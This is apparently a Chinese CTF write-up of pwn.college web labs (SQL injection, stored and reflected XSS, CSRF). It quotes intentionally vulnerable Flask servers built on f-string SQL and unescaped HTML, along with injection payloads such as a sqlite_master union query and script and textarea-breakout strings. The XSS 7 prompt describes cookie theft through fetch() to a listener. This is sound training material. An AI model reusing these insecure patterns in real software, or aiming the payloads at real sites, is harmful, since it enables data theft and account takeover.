app.config['SERVER_NAME'] = f"challenge.localhost:80" # 设置服务器名称
app.run("challenge.localhost", 80) # 启动 Flask 应用
SQLi 4 SQL注入4
到目前为止,我们已经知道了数据库结构(例如 users
表的名称),它允许我们有意地构造查询。 作为开发人员,你可能会试图通过随机化表名来防止这种情况发生,这样攻击者就无法指定它们来查询他们不应该查询的数据。 不幸的是,这并不是你想的那样。
数据库是复杂的,而且对它们自己的数据管理能力太强大了。 例如,几乎所有现代数据库都将数据库布局规范本身保存在一个表中。 攻击者可以通过查询这张表来获取表名、字段名以及他们可能需要的任何其他信息!
在这一关卡中,开发人员随机化了 users
表的名称。 找到它,找到那面flag!
查看解析
这一次的user_table表名进行了随机化处理,我们难以直接进行联合查询
因此我们先对表名进行查询,构造payload`union select table_name from information_schema.tables`
但这里用的是SQLite数据库
我们构造的payload为`"union select name FROM sqlite_master WHERE type='table'`
#!/opt/pwn.college/python
import tempfile # 用于创建临时文件
import sqlite3 # SQLite 数据库库
import random # 用于生成随机数
import flask # Flask Web 框架
import os # 用于访问操作系统功能
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
def __init__(self):
# 创建一个带有随机名称的临时数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
# 执行 SQL 查询并返回结果
connection = sqlite3.connect(self.db_file.name) # 连接到临时数据库
connection.row_factory = sqlite3.Row # 使得查询结果可以通过列名访问
cursor = connection.cursor() # 创建游标
result = cursor.execute(sql, parameters) # 执行 SQL 语句
connection.commit() # 提交事务
return result # 返回结果
db = TemporaryDB() # 创建 TemporaryDB 实例
# 随机生成一个用户表名称,避免名称冲突
user_table = f"users_{random.randrange(2**32, 2**33)}"
# 创建用户表,admin 用户的密码从 /flag 文件中读取
db.execute(f"""CREATE TABLE {user_table} AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# 插入 guest 用户及其密码
db.execute(f"""INSERT INTO {user_table} SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["GET"])
def challenge():
# 从请求参数中获取查询字符串,默认值为 "%"
query = flask.request.args.get("query", "%")
try:
# 使用 LIKE 操作符进行模糊匹配查询
sql = f'SELECT username FROM {user_table} WHERE username LIKE "{query}"'
print(f"DEBUG: {query=}") # 输出调试信息,显示当前查询
# 执行查询并获取所有匹配的用户名
results = "\n".join(user["username"] for user in db.execute(sql).fetchall())
except sqlite3.Error as e:
results = f"SQL error: {e}" # 捕获并返回 SQL 错误
# 返回 HTML 页面,包含查询表单和查询结果
return f"""
<html><body>Welcome to the user query service!
<form>Query:<input type=text name=query value='{query}'><input type=submit value=Submit></form>
<hr>
<b>Query:</b> <pre>{sql.replace(user_table, "REDACTED")}</pre><br>
<b>Results:</b><pre>{results}</pre>
</body></html>
"""
app.secret_key = os.urandom(8) # 生成一个随机的 secret_key,用于保护会话数据
app.config['SERVER_NAME'] = f"challenge.localhost:80" # 设置服务器名称
app.run("challenge.localhost", 80) # 启动 Flask 应用
SQLi 5 SQL注入5
SQL注入发生在应用程序的所有地方,就像命令注入一样,有时查询的结果不会返回给你。 有了命令注入,这种情况就容易多了:命令行非常强大,你甚至可以盲目地做很多事情。 使用SQL注入,有时情况并非如此。 例如,与其他数据库不同,此模块中使用的SQLite数据库不能访问文件系统、执行命令等。
那么,如果应用程序没有向您显示SQL注入产生的数据,您实际上是如何泄漏数据的呢? 有时,即使不显示实际数据,也可以恢复1位! 如果查询的结果使应用程序以两种不同的方式执行(例如,重定向到“身份验证成功”页面和“身份验证失败”页面),那么攻击者可以精心设计是/否问题,并获得答案。
这个挑战给了你这样的场景。 你能得到flag吗?
查看解析
应该是要我们写一个盲注的脚本吧。。。(待补充)
/challenge/server
代码分析
#!/opt/pwn.college/python # 指定脚本的解释器路径
import tempfile # 导入临时文件模块
import sqlite3 # 导入 SQLite 数据库模块
import flask # 导入 Flask 框架
import os # 导入操作系统模块
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
class TemporaryDB:
def __init__(self):
# 创建一个临时 SQLite 数据库文件,后缀为 .db
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
# 连接到临时数据库并执行 SQL 语句
connection = sqlite3.connect(self.db_file.name) # 连接到数据库
connection.row_factory = sqlite3.Row # 使返回的行以字典形式呈现
cursor = connection.cursor() # 创建游标
result = cursor.execute(sql, parameters) # 执行 SQL 查询
connection.commit() # 提交事务
return result # 返回结果
db = TemporaryDB() # 实例化 TemporaryDB 类
# 创建一个名为 users 的表,插入 admin 用户及其密码(来自 /flag 文件内容)
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# 插入 guest 用户及其密码
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["POST"]) # 定义 POST 请求的路由
def challenge_post():
username = flask.request.form.get("username") # 从表单获取用户名
password = flask.request.form.get("password") # 从表单获取密码
if not username:
flask.abort(400, "Missing `username` form parameter") # 如果缺少用户名,返回 400 错误
if not password:
flask.abort(400, "Missing `password` form parameter") # 如果缺少密码,返回 400 错误
try:
# 创建 SQL 查询以验证用户
query = f'SELECT rowid, * FROM users WHERE username = "{username}" AND password = "{password}"'
print(f"DEBUG: {query=}") # 打印调试信息
user = db.execute(query).fetchone() # 执行查询并获取结果
except sqlite3.Error as e:
flask.abort(500, f"Query: {query}\nError: {e}") # 如果查询出错,返回 500 错误
if not user:
flask.abort(403, "Invalid username or password") # 如果用户无效,返回 403 错误
flask.session["user"] = username # 将用户名存入会话
return flask.redirect(flask.request.path) # 重定向到当前路径
@app.route("/", methods=["GET"]) # 定义 GET 请求的路由
def challenge_get():
if not (username := flask.session.get("user", None)): # 检查是否已登录
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!" # 如果已登录,欢迎用户
return page + """
<hr>
<form method=post>
User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
</form>
</body></html>
""" # 返回 HTML 页面,包括登录表单
app.secret_key = os.urandom(8) # 生成随机的秘密密钥
app.config['SERVER_NAME'] = f"challenge.localhost:80" # 配置服务器名称
app.run("challenge.localhost", 80) # 启动 Flask 应用,监听 80 端口
XSS 1 XSS注入1
任何两种技术的接口都可能出现语义鸿沟(并导致安全问题)。 到目前为止,我们看到它们发生在:
- 一个web应用程序和文件系统,导致路径遍历。
- 一个web应用程序和命令行shell,导致命令注入。
- 一个web应用程序和数据库,导致SQL注入。
关于web应用的内容,我们还没有提到web浏览器。 我们将通过这一挑战弥补这一疏忽。
现代web浏览器是一种极其复杂的软件。 它渲染HTML,执行JavaScript,解析CSS,允许您访问pwn.college
网站等等。 对我们的目的特别重要的是这个模块中你看到的每个挑战生成的HTML。 当web应用程序生成路径时,我们最终使用了路径遍历。 当web应用程序生成shell命令时,我们最终使用了shell注入。 当web应用程序生成SQL查询时,我们最终使用了SQL注入。 我们真的认为HTML会发展得更好吗? 当然不是。
发生在客户端web数据(如HTML)中的漏洞被称为跨站点脚本(Cross Site Scripting),或简称XSS(以避免与级联样式表的名称CSS冲突)。 与之前的注入不同,之前的注入的受害者是web服务器本身,而XSS的受害者是web应用程序的其他用户。 在典型的XSS漏洞攻击中,攻击者将自己的代码注入到(通常)由web应用程序生成的HTML中,并让受害者用户查看。 这将允许攻击者获得对受害者浏览器的一些控制,从而导致一些潜在的下游恶作剧。
这项挑战是朝着这个方向迈出的第一步。 与之前一样,您将拥有 /challenge/server
web服务器。 这个挑战探索了一种叫做Stored XSS(存储型XSS)的东西,这意味着你存储在服务器上的数据(在本例中是论坛上的帖子)最终会显示给受害者用户。 因此,我们需要一个受害者来查看这些帖子! 现在你就有了一个 /challenge/victim
程序,它模拟了一个访问web服务器的受害用户。
设置您的攻击,并使用将触发存储的XSS的URL调用 /challenge/victim
。 在这一关卡,你所要做的就是注入一个文本框。 如果我们的受害者脚本看到这个文本框,我们就会给你flag!
查看解析
打开网站,是一个类似于评论区的功能页面
首先在此直接尝试xss注入,`《script》alert('nihao')《/script》`(为了防止被解析,这里使用《》代替<>)
然后使用`/challenge/victim`程序模拟受害者访问页面,受害者应该会弹出"nihao"的弹窗
但程序给出的提示是:You did not inject an 《input》 textbox...
也就是说这次我们的注入只是单纯的能被浏览器解析的html注入,那么我们直接注入`《input》`即可
这里也给大伙看看`《input》`的效果
/challenge/server
代码分析
#!/opt/pwn.college/python
import tempfile
import sqlite3
import flask
import os
# 创建一个 Flask 应用实例
app = flask.Flask(__name__)
# 定义一个临时数据库类
class TemporaryDB:
def __init__(self):
# 创建一个临时 SQLite 数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
# 执行 SQL 查询的方法
def execute(self, sql, parameters=()):
# 连接到临时数据库
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row # 使查询结果返回字典格式
cursor = connection.cursor()
# 执行 SQL 语句
result = cursor.execute(sql, parameters)
connection.commit() # 提交事务
return result # 返回结果
# 实例化临时数据库
db = TemporaryDB()
# 创建一个初始的帖子表,并插入一条默认帖子
db.execute("""CREATE TABLE posts AS SELECT "First Post!" AS content""")
# 定义处理 POST 请求的路由
@app.route("/", methods=["POST"])
def challenge_post():
# 从表单获取内容
content = flask.request.form.get("content", "")
# 将内容插入到数据库的帖子表中
db.execute("INSERT INTO posts VALUES (?)", [content])
return flask.redirect(flask.request.path) # 重定向回主页
# 定义处理 GET 请求的路由
@app.route("/", methods=["GET"])
def challenge_get():
# 生成页面 HTML
page = "<html><body>\nWelcome to pwnpost, the anonymous posting service. Post away!\n"
page += "<form method=post>Post:<input type=text name=content><input type=submit value=Submit></form>\n"
# 查询数据库中的所有帖子,并添加到页面
for post in db.execute("SELECT content FROM posts").fetchall():
page += "<hr>" + post["content"] + "\n"
return page + "</body></html>" # 返回完整的 HTML 页面
# 设置应用的秘密密钥
app.secret_key = os.urandom(8)
# 配置服务器名称
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,监听 challenge.localhost 的 80 端口
app.run("challenge.localhost", 80)
XSS 2 XSS注入2
好吧,注入一些HTML是非常酷的! 你可以想象这是如何用来迷惑受害者的,但情况更糟……好吧,注入一些HTML是非常酷的! 你可以想象这是如何用来迷惑受害者的,但情况更糟……
20世纪90年代,明智的web设计师发明了JavaScript来让网站更具交互性。 JavaScript与HTML共存,让事情变得有趣。 例如,这将把浏览器变成一个时钟:
<html>
<body>
<script>
document.body.innerHTML = Date();
</script>
</body>
</html>
基本上,HTML <script>
标签告诉浏览器该标签中的内容是JavaScript,然后浏览器执行它。 我相信你能看出这是怎么回事……
在前一关卡中,你注入了HTML。 在这个攻击中,你必须使用完全相同的XSS漏洞在受害者的浏览器中执行某些JavaScript。 具体来说,我们希望你执行JavaScript alert("PWNED")
来弹出一个警告框,通知受害者他们已经被入侵了。 这一关卡的玩法与前一关卡完全相同;只有变化,突然之间,你在用煤气做饭(说明在某方面很成功,取得很大进步)!
查看解析
《script》alert("PWNED")《/script》
XSS 3 XSS注入3
在前面的例子中,你的注入内容首先存储在数据库中(作为帖子),当web服务器从数据库中检索并发送到受害者的浏览器时被触发。 因为必须先存储数据,然后再检索,所以这被称为存储型XSS。 然而,神奇的HTTP GET请求及其URL参数为另一种类型的XSS打开了大门:反射型XSS。
反射式XSS发生在URL参数被渲染到生成的HTML页面中时,同样允许攻击者插入HTML/JavaScript/等。 要实施这样的攻击,攻击者通常需要诱骗受害者访问一个具有正确URL参数的非常精心设计的URL。 这与存储型XSS不同,在存储型XSS中,攻击者可以简单地在有漏洞的论坛上发布帖子,然后等待受害者偶然发现它。
无论如何,这个关卡是一个反射型XSS漏洞。 这个挑战的 /challenge/victim
在命令行上接收一个URL参数,它将访问该URL。 骗过 /challenge/victim
,让它变成JavaScript alert("PWNED")
,你就会得到这个flag!
查看解析
《script》alert("PWNED")《/script》
我们输入这些后浏览器即通过GET请求了`msg`参数
经过处理出现了弹窗
我们将这个链接模拟发送给受害者让他访问`/challenge/victim http://challenge.localhost/?msg=%3Cscript%3Ealert%28%22PWNED%22%29%3C%2Fscript%3E`
/challenge/server
代码分析
#!/opt/pwn.college/python
import flask
import os
# 创建一个 Flask 应用实例
app = flask.Flask(__name__)
# 定义处理 GET 请求的路由
@app.route("/", methods=["GET"])
def challenge_get():
# 从查询参数中获取消息msg,默认为 "(none)"
return f"""
<html><body>
<h1>pwnmsg ephemeral message service</h1>
The message: {flask.request.args.get("msg", "(none)")}
<hr><form>Craft a message:<input type=text name=msg><input type=submit value=Submit></form>
</body></html>
"""
# 设置应用的秘密密钥
app.secret_key = os.urandom(8)
# 配置服务器名称
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,监听 challenge.localhost 的 80 端口
app.run("challenge.localhost", 80)
XSS 4 XSS注入4
与SQL注入和命令注入一样,有时你的跨站脚本攻击也会发生在一些非最佳的环境中。 在SQL中,我们已经处理过注入到引号中间的问题。 在XSS中,你经常注入,例如,一个文本区域,就像这个挑战。 通常,文本区域中的文本就是,页面上的文本框中显示的文本。 你能把这个上下文分解为 alert("PWNED")
吗?
与之前一样,这个挑战的 /challenge/victim
在命令行上接受一个URL参数,它将访问该URL。
查看解析
我们分析源码可以发现我们的输入被限制在《textarea》中了,所以我们构造一个带有结束标签的输入
《textarea》《/textarea》《script》alert("PWNED")《/script》
/challenge/server
代码分析
def challenge_get():
# 返回一个 HTML 页面,其中包含一个文本区域用于输入消息
return f"""
<html><body>
<h1>pwnmsg ephemeral message service</h1>
The message:
<form>
<textarea name=msg>{flask.request.args.get("msg", "Type your message here!")}</textarea>
<input type=submit value="Make URL!">
</form>
</body></html>
"""
XSS 5 XSS注入5
实际的XSS漏洞攻击试图达到的目标不只是 alert("PWNED")
。 一个常见的目标是利用在受害者浏览器中执行JavaScript的能力来伪装成受害者发起新的HTTP请求。 这有很多种方式,包括使用JavaScript的 fetch()
函数。
这个挑战需要实现一个更复杂的应用程序,您将需要从 admin
用户未发布的草稿post中检索flag。 在xss注入 admin
之后,您必须使用注入来发出一个HTTP请求(作为 admin
用户)以使您能够读取flag。 祝你好运!
查看解析
这是一个模拟论坛的网站,我们首先以`guest`身份登录,然后可以发帖
(待补充)
/challenge/server
代码分析
#!/opt/pwn.college/python
import tempfile
import sqlite3
import flask
import os
# 创建一个 Flask 应用实例
app = flask.Flask(__name__)
# 定义一个临时数据库类
class TemporaryDB:
def __init__(self):
# 创建一个临时 SQLite 数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
# 执行 SQL 查询的方法
def execute(self, sql, parameters=()):
# 连接到临时数据库
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row # 使查询结果返回字典格式
cursor = connection.cursor()
# 执行 SQL 语句
result = cursor.execute(sql, parameters)
connection.commit() # 提交事务
return result # 返回结果
# 读取 flag,如果以 root 用户身份运行,则读取实际 flag 文件,否则使用伪造的 flag
flag = open("/flag").read().strip() if os.geteuid() == 0 else "pwn.college{fake_flag}"
# 实例化临时数据库
db = TemporaryDB()
# 创建帖子表并插入一条初始帖子
db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag])
# 创建用户表并插入管理员用户
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag])
# 插入其他用户
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")
# 定义处理登录请求的路由
@app.route("/login", methods=["POST"])
def challenge_login():
# 获取用户名和密码
username = flask.request.form.get("username")
password = flask.request.form.get("password")
# 检查是否提供了用户名和密码
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")
# 验证用户名和密码是否正确
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")
# 登录成功,设置会话中的用户名
flask.session["username"] = username
return flask.redirect("/") # 重定向到首页
# 定义处理草稿请求的路由
@app.route("/draft", methods=["POST"])
def challenge_draft():
# 检查用户是否已登录
if "username" not in flask.session:
flask.abort(403, "Log in first!")
content = flask.request.form.get("content", "")
# 插入草稿帖子
db.execute(
"INSERT INTO posts (content, author, published) VALUES (?, ?, ?)",
(content, flask.session.get("username"), bool(flask.request.form.get("publish")))
)
return flask.redirect("/") # 重定向到首页
# 定义处理发布草稿请求的路由
@app.route("/publish", methods=["GET"])
def challenge_publish():
# 检查用户是否已登录
if "username" not in flask.session:
flask.abort(403, "Log in first!")
# 发布所有草稿
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")])
return flask.redirect("/") # 重定向到首页
# 定义处理主页请求的路由
@app.route("/", methods=["GET"])
def challenge_get():
page = "<html><body>\nWelcome to pwnpost, now with users!<hr>\n"
username = flask.session.get("username", None)
if username:
# 显示已登录用户的草稿输入表单
page += """
<form action=draft method=post>
Post:<textarea name=content>Write something!</textarea>
<input type=checkbox name=publish>Publish
<input type=submit value=Save>
</form><br><a href=publish>Publish your drafts!</a><hr>
"""
# 显示用户的所有帖子
for post in db.execute("SELECT * FROM posts").fetchall():
page += f"""<h2>Author: {post["author"]}</h2>"""
if post["published"]:
page += post["content"] + "<hr>\n"
else:
page += f"""(Draft post, showing first 12 characters):<br>{post["content"][:12]}<hr>"""
else:
# 显示登录表单
page += """
<form action=login method=post>
Username:<input type=text name=username>
Password:<input type=text name=password>
<input type=submit name=submit value=Login>
</form><hr>
"""
return page + "</body></html>" # 返回完整的 HTML 页面
# 设置应用的秘密密钥
app.secret_key = os.urandom(8)
# 配置服务器名称
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,监听 challenge.localhost 的 80 端口
app.run("challenge.localhost", 80)
XSS 6 XSS注入6
一旦攻击者在受害者的浏览器中执行了代码,他们就可以做很多事情。 在之前的攻击中,你已经发起了 GET
请求,但通常情况下,改变应用程序状态的是 POST
请求。 这一挑战加剧了现实主义: /publish
现在需要一个 POST
请求。 幸运的是, fetch
支持此功能!
去弄清楚如何 POST
,然后得到flag。
查看解析
(待补充)
/challenge/server
代码分析
# 定义处理发布草稿请求的路由
@app.route("/publish", methods=["POST"])
def challenge_publish():
# 检查用户是否已登录
if "username" not in flask.session:
flask.abort(403, "Log in first!")
# 发布所有草稿
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")])
return flask.redirect("/") # 重定向到首页
# 定义处理主页请求的路由
@app.route("/", methods=["GET"])
def challenge_get():
page = "<html><body>\nWelcome to pwnpost, now with users!<hr>\n"
username = flask.session.get("username", None)
if username:
# 显示已登录用户的草稿输入表单
page += """
<form action=draft method=post>
Post:<textarea name=content>Write something!</textarea>
<input type=checkbox name=publish>Publish
<input type=submit value=Save>
</form><br>
<form action=publish method=post><input type=submit value="Publish All Drafts"></form><hr>
"""
XSS 7 XSS注入7
根据攻击者的目的,他们可能真正想要的是受害者的整个账户。 例如,攻击者可以使用XSS来窃取受害者的身份验证数据,然后使用这些数据来接管受害者的账户。
身份验证数据通常通过浏览器cookie存储,例如 Authentication Bypass 2
中发生的情况(但通常更安全)。 如果攻击者可以泄露这些cookie,对受害者来说后果将是灾难性的。
该关卡将登录用户的身份验证数据存储在cookie中。 你必须使用XSS来泄漏这个cookie,这样你就可以在请求中使用它来模拟 admin
用户。 这种泄漏将通过HTTP发生在你运行的服务器上,你所需要的一切都可以通过JavaScript的 fetch()
及其访问(某些)站点cookie的能力获得。
提示: 所谓“你运行的服务器”,实际上是指监听一个端口 nc
就足够了。 看 -l
和 -v
选项到 nc
。
查看解析
(待补充)
/challenge/server
代码分析
#!/opt/pwn.college/python
import tempfile # 导入临时文件模块
import sqlite3 # 导入 SQLite 数据库模块
import flask # 导入 Flask Web 框架
import os # 导入操作系统模块
# 创建一个 Flask 应用实例
app = flask.Flask(__name__)
# 定义一个临时数据库类
class TemporaryDB:
def __init__(self):
# 创建一个临时 SQLite 数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
# 执行 SQL 查询的方法
def execute(self, sql, parameters=()):
# 连接到临时数据库
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row # 使查询结果返回字典格式
cursor = connection.cursor()
# 执行 SQL 语句
result = cursor.execute(sql, parameters)
connection.commit() # 提交事务
return result # 返回结果
# 读取 flag,如果以 root 用户身份运行,则读取实际 flag 文件,否则使用伪造的 flag
flag = open("/flag").read().strip() if os.geteuid() == 0 else "pwn.college{fake_flag}"
# 实例化临时数据库
db = TemporaryDB()
# 创建帖子表并插入一条初始帖子,内容为 flag
db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag])
# 创建用户表并插入管理员用户,密码为 flag 的后 20 个字符
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag[-20:]])
# 插入其他用户
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")
# 定义处理登录请求的路由
@app.route("/login", methods=["POST"])
def challenge_login():
# 获取用户名和密码
username = flask.request.form.get("username")
password = flask.request.form.get("password")
# 检查是否提供了用户名
if not username:
flask.abort(400, "Missing `username` form parameter")
# 检查是否提供了密码
if not password:
flask.abort(400, "Missing `password` form parameter")
# 验证用户名和密码是否正确
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")
# 登录成功,设置 cookie
response = flask.redirect("/")
response.set_cookie('auth', username + "|" + password)
return response
# 定义处理草稿请求的路由
@app.route("/draft", methods=["POST"])
def challenge_draft():
# 从 cookie 获取用户名和密码
username, password = flask.request.cookies.get("auth", "|").split("|")
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")
# 阻止 admin 用户发布内容
if username == "admin":
flask.abort(400, "pwnpost no longer supports admin posting due to rampant flag disclosure")
# 获取草稿内容
content = flask.request.form.get("content", "")
# 插入草稿帖子
db.execute(
"INSERT INTO posts (content, author, published) VALUES (?, ?, ?)",
(content, username, bool(flask.request.form.get("publish")))
)
return flask.redirect("/")
# 定义处理发布草稿请求的路由
@app.route("/publish", methods=["POST"])
def challenge_publish():
# 从 cookie 获取用户名和密码
username, password = flask.request.cookies.get("auth", "|").split("|")
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")
# 阻止 admin 用户发布内容
if username == "admin":
flask.abort(400, "pwnpost no longer supports admin posting due to rampant flag disclosure")
# 发布所有草稿
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [username])
return flask.redirect("/")
# 定义处理主页请求的路由
@app.route("/", methods=["GET"])
def challenge_get():
page = "<html><body>\nWelcome to pwnpost, now with users!<hr>\n"
# 从 cookie 获取用户名和密码
username, password = flask.request.cookies.get("auth", "|").split("|")
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if user:
# 显示已登录用户的草稿输入表单
page += """
<form action=draft method=post>
Post:<textarea name=content>Write something!</textarea>
<input type=checkbox name=publish>Publish
<input type=submit value=Save>
</form><br>
<form action=publish method=post><input type=submit value="Publish All Drafts"></form><hr>
"""
# 显示用户的所有帖子
for post in db.execute("SELECT * FROM posts").fetchall():
page += f"""<h2>Author: {post["author"]}</h2>"""
if post["published"]:
page += post["content"] + "<hr>\n"
elif post["author"] == username:
# 显示当前用户的草稿
page += "<b>YOUR DRAFT POST:</b> " + post["content"] + "<hr>\n"
else:
# 显示其他用户的草稿的前 12 个字符
page += f"""(Draft post, showing first 12 characters):<br>{post["content"][:12]}<hr>"""
else:
# 显示登录表单
page += """
<form action=login method=post>
Username:<input type=text name=username>
Password:<input type=text name=password>
<input type=submit name=submit value=Login>
</form><hr>
"""
return page + "</body></html>" # 返回完整的 HTML 页面
# 设置应用的秘密密钥
app.secret_key = os.urandom(8)
# 配置服务器名称
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,监听 challenge.localhost 的 80 端口
app.run("challenge.localhost", 80)
CSRF 1 跨站请求伪造1
你使用XSS注入JavaScript以导致受害者发起HTTP请求。 但是如果没有XSS怎么办? 你能直接“注入”HTTP请求吗?
令人震惊的是,答案是肯定的。 web设计的目的是使许多不同的网站相互连接。 网站可以嵌入来自其他网站的图像,链接到其他网站,甚至重定向到其他网站。 所有这些灵活性意味着一些严重的安全风险,而且几乎没有任何措施可以防止恶意网站直接导致受害者访问者发出潜在的敏感请求,例如(在我们的例子中)将 GET
请求发送给 http://challenge.localhost/publish
!
这种类型的跨站点请求伪造被称为跨站请求伪造(Cross Site Request Forgery,简称CSRF)。
请注意,我说过几乎没有什么可以防止这种情况。 同源策略(Same-origin Policy,缩写为SOP)是在20世纪90年代创建的,当时web还很年轻,它(试图)缓解这个问题。 SOP防止一个原点的站点(例如 http://www.hacker.com
或 http://hacker.localhost:1337
)以某些不安全方式与其他原点的站点(例如 http://www.asu.edu
或 http://challenge.localhost/
)进行交互。 SOP防止了一些常见的CSRF向量(例如,当使用JavaScript跨源发起请求时,将不会发送cookie !),但有很多避免SOP的方法,例如使 GET
请求cookie完好无损(例如完全重定向)。
在这一关卡,pwnpost已经修复了它的XSS问题(至少对于 admin
用户)。 你需要使用CSRF来发布flag post! 该关卡的 /challenge/victim
将登录pwnpost ( http://challenge.localhost/
),然后访问您可以建立的邪恶网站( http://hacker.localhost:1337/
)。 hacker.localhost
指向你的本地工作空间,但你需要自己设置一个web服务器,在端口1337上处理HTTP请求。 同样,这可以通过 nc
或者python服务器来实现(比如http.server!) 因为这些网站有不同的来源,SOP保护将适用,所以要小心如何伪造请求!
(待补充)